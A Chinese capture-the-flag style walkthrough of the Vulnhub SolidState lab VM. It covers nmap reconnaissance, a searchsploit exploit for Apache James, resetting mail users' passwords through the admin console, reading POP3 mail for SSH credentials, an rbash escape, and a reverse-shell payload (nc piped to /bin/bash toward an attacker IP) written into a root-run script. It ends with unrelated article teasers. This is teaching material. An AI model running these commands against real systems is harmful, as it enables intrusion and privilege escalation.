渗透Vulnhub-Solidstate靶机

本篇文章旨在为网络安全渗透测试行业靶机教学。通过阅读本文,读者将能够对渗透Vulnhub系列Solidstate靶机有定的了解

一、信息收集阶段

靶机官网:https://www.vulnhub.com/entry/solidstate-1%2C261/

因为靶机为本地部署虚拟机网段,查看dhcp地址池设置。得到信息IP为:192.168.60.0/24

1、扫描网段,发现主机

nmap -sP 192.168.60.0/24 

2、扫描主机详细信息

nmap -sT -sV -sC  192.168.60.170
#-sT 会尝试与目标主机的每个端口建立完整的 TCP 连接
#-sV 尝试确定每个打开端口上运行的服务的版本
#-sC 使用默认的脚本扫描(Script Scanning)可以帮助发现更多的信息,如漏洞、配置错误等

二、攻击面寻找及攻击阶段

1、Wappalyzer插件

2、枚举网页目录

dirb http://192.168.60.170/

3、search james历史漏洞

刚才在信息阶段看到很多服务都是跟james有关,重复出现的信息很大概率是可以利用

searchsploit james 

4、下载 james历史漏洞的exp利用文件

searchsploit james -m 35513.py

5、查看exp利用方法

cat 35513.py #查看刚才下载的exp文件

6、nc连接靶机4555端口

nc -nvv 192.168.60.170 4555
#-n不进行DNS解析,直接使用IP地址。
#-vv:表示详细模式(verbose mode),显示更多关于连接和数据传输的信息。

7、查看帮助

help

8、列出所有用户并修改这些用户的密码

listusers 

setpassword james 123 #修改james用户密码为123
setpassword thomas 123
setpassword john 123
setpassword mindy 123
setpassword mailadmin 123

9、使用修改密码的用户连接110端口(POP3服务)查看信件

nc -nvC 192.168.60.170 110
#-n:不进行DNS解析,直接使用IP地址。
#-v:详细模式,输出更多关于连接和数据传输的信息
#-C:发送CRLF(\r )作为行结束符。这在某些协议(如POP3)中是必要的,因为它们期望以CRLF作为行结束符user (账号)		#输入账号
pass 123			#输入密码

刚才登录所有用户,发现只有mindy邮件存在有用的信息

list  #查看信件
retr 1 #查看信件1内容
retr 2 #查看信件2内容

10、使用信件2的账号密码登录ssh

ssh mindy@192.168.60.170
P@55W0rd1!2@

三、提权阶段

1、rbash绕过

ssh mindy@192.168.60.170 "export TERM=xterm; python -c 'import pty; pty.spawn(\"/bin/bash\")'"
P@55W0rd1!2@

2、查找root所有文件中其他用户可以修改的文件

find / -type f -user root -perm -o=w 2>/dev/null | grep -v 'proc\|sys'
#find /:在根目录(/)下进行查找。
#-type f:查找类型为普通文件的项。
#-user root:查找所有者为root的文件。
#-perm -o=w:查找拥有写权限的文件,-o=是一个OR条件,表示至少拥有指定的权限。
#2>/dev/null:将错误信息重定向到/dev/null,即不在控制台上显示错误信息。
#| grep -v 'proc\|sys':使用grep过滤查找结果,-v参数表示显示不匹配的

3、攻击机监听端口

nc -lvvp  4444
nc -lvvp  5555

4、echo反弹shell到tmp.py

 os.system('nc 192.168.60.128 4444| /bin/bash | nc 192.168.60.128 5555')

5、执行tmp.py

python tmp.py

6、提权成功



声明! 学习内容来自B站up主 泷羽sec的OSCP考证培训课程有兴趣的师傅可以关注一下,如涉及侵权马上删除文章,笔记只是方便各位师傅的学习和探讨,文章所提到的网站以及内容,只做学习交流,其他均与本人以及泷羽sec团队无关,切勿触碰法律底线,否则后果自负!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/65286.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

YOLOv9-0.1部分代码阅读笔记-anchor_generator.py

anchor_generator.py utils\tal\anchor_generator.py 目录 anchor_generator.py 1.所需的库和模块 2.def make_anchors(feats, strides, grid_cell_offset0.5): 3.def dist2bbox(distance, anchor_points, xywhTrue, dim-1): 4.def bbox2dist(anchor_points, bbox, re…

【深度学习基础|pip安装】pip 安装深度学习库常见错误及解决方案,附案例。

【深度学习基础|pip安装】pip 安装深度学习库常见错误及解决方案,附案例。 【深度学习基础|pip安装】pip 安装深度学习库常见错误及解决方案,附案例。 文章目录 【深度学习基础|pip安装】pip 安装深度学习库常见错误及解决方案,附案例。1. 错…

ElasticSearch - 深入解析 Elasticsearch Composite Aggregation 的分页与去重机制

文章目录 Pre概述什么是 composite aggregation?基本结构after 参数的作用问题背景:传统分页的重复问题after 的设计理念响应示例 after 如何确保数据不重复核心机制Example步骤 1: 创建测试数据创建索引插入测试数据 步骤 2: 查询第一页结果查询第一页返…

使用 Scrapy 抓取网页数据

1. Scrapy 简介 Scrapy 是一个流行的 Python 爬虫框架,提供了强大的工具和灵活的扩展机制,用于高效抓取和处理网页数据。它支持异步 I/O,速度快且资源消耗低,非常适合大规模爬取任务。 2. 安装 Scrapy 确保你的 Python 环境版本…

如何训练Stable Diffusion 模型

训练Stable Diffusion模型是一个复杂且资源密集的过程,通常需要大量的计算资源(如GPU或TPU)和时间。Stable Diffusion是一种基于扩散模型的生成式AI,能够根据文本提示生成高质量的图像。它的训练过程涉及多个步骤,包括…

Kafka常用集群配置参数

Broker log.dirs 这是非常重要的参数,指定了 Broker 需要使用的若干个文件目录路径。比如/home/kafka1,/home/kafka2,/home/kafka3这样 log.dirs /home/kafka1,/home/kafka2,/home/kafka3如果有条件的话你最好保证这些目录挂载到不同的物理磁盘上。 1、可以提升…

两分钟掌握 TDengine 全部写入方式

1. 背景 TDengine 写入过程会涉及很多概念,这些概念目前你是不是还一团乱,参数绑定写入、无模式写入、websocket 写入、RESTFUL 写入 、各种连接器写入等等一堆的写入,都是做什么的,不明白,这里花两分钟时间给你彻底整…

使用 Docker 在 Ubuntu 下部署 Cloudflared Tunnel 服务器

在现代互联网中,安全和隐私是至关重要的。Cloudflared Tunnel 是 Cloudflare 提供的一种安全隧道解决方案,可以帮助你安全地将本地服务暴露到互联网,而无需暴露你的服务器 IP 地址。通过 Docker 部署 Cloudflared Tunnel,不仅简化…

快速理解24种设计模式

简单工厂模式 建立产品接口类,规定好要实现方法。 建立工厂类,根据传入的参数,实例化所需的类,实例化的类必须实现指定的产品类接口 创建型 单例模式Singleton 保证一个类只有一个实例,并提供一个访问他它的全局…

数据可视化echarts学习笔记

目录,介绍 知识储备 一端操作,多端联动的效果(开启了多个网页,操作一端,多个网页的效果会跟着改变) cmd命令控制面板返回上一级或上上级 在当前目录打开文件: cd 文件名 在Windows命令提示符&am…

OpenCV相机标定与3D重建(30)过滤二值图像中的小斑点函数filterSpeckles()的使用

操作系统:ubuntu22.04 OpenCV版本:OpenCV4.9 IDE:Visual Studio Code 编程语言:C11 算法描述 在视差图中过滤掉小的噪声斑点(speckles)。 cv::filterSpeckles 是 OpenCV 库中的一个函数,用于过滤图像或视…

C语言期末复习笔记(中)

目录 五、选择控制结构 1.算法中的概念及描述方法 2.关系运算符和逻辑表达式 3.条件运算符和条件表达式 4.两种多分支if 5.switch语句 6.逻辑运算符和逻辑表达式 六、循环控制结构 1.控制循环的方式 2.控制非法输入 3.选择三种循环的一般原则 4.猜数游戏 5.嵌套循环…

android jetpack compose Model对象更新变量 UI不更新、不刷新问题

以前是搞老本行Android原生开发的,因为工作原因,一直在用vue小程序;因为一些工作需要,又需要用到Android原生开发,建了个项目,打开源码一看,天塌了!!!我以前的…

Python的Pandas--Series的创建和实现

1.Series函数的格式: pandas.Series(data,index,dtype,name,copy) data:一组数据(ndarray类型、list、dict等类)或标量值 index:数据索引标签。如果不指定,默认为整数,从0开始 dtype&#x…

python通过正则匹配SQL

pattern r"(?:[^;]|(?:\\.|[^])*);" sql_list [match.group().strip() for match in re.finditer(pattern, execute_sql) if match.group().strip()]for sql in sql_list:print(sql)(?:[^;]|(?:\\.|[^])*); 匹配 连续的非分号内容 或 单引号包裹的字符串&#…

利用Gurobi追溯模型不可行原因的四种方案及详细案例

文章目录 1. 引言2. 追溯不可行集的四种方法2.1 通过约束增减进行判断2.2 通过computeIIS函数获得冲突集2.3 利用 feasRelaxS() 或 feasRelax() 函数辅助排查2.4 利用 IIS Force 属性1. 引言 模型不可行是一个让工程师头疼的问题,对于复杂模型而言,导致模型不可行的原因可能…

算法工程化工程师

算法工程化工程师是一种结合算法研究与工程开发能力的技术职位,主要职责是将算法从理论研究到实际落地,应用到各种工业或商业场景中。以下是关于这个职位的一些核心内容: 核心职责: 算法实现与优化: 将数学模型或算法…

MySQL和HBase的对比

Mysql :关系型数据库,主要面向 OLTP ,支持事务,支持二级索引,支持 sql ,支持主从、 Group Replication 架构模型(此处以 Innodb 为例,不涉及别的存储引擎)。 HBase &am…

mybatis-plus自动填充时间的配置类实现

mybatis-plus自动填充时间的配置类实现 在实际操作过程中,我们并不希望创建时间、修改时间这些来手动进行,而是希望通过自动化来完成,而mybatis-plus则也提供了自动填充功能来实现这一操作,接下来,就来了解一下mybatis…

【软件工程】十万字知识点梳理 | 期末复习专用

原创文章,禁止转载。 文章目录 图CRC卡片用例图类图状态图活动图泳道图软件质量因素自顶向下集成自底向上集成人员与工作量之间的关系时序图关键路径软件结构基本路径测试判定表数据流图(DFD)体系结构设计问题数据字典挣值分析等价划分程序流程图PAD | N-S燃尽图甘特图对象模…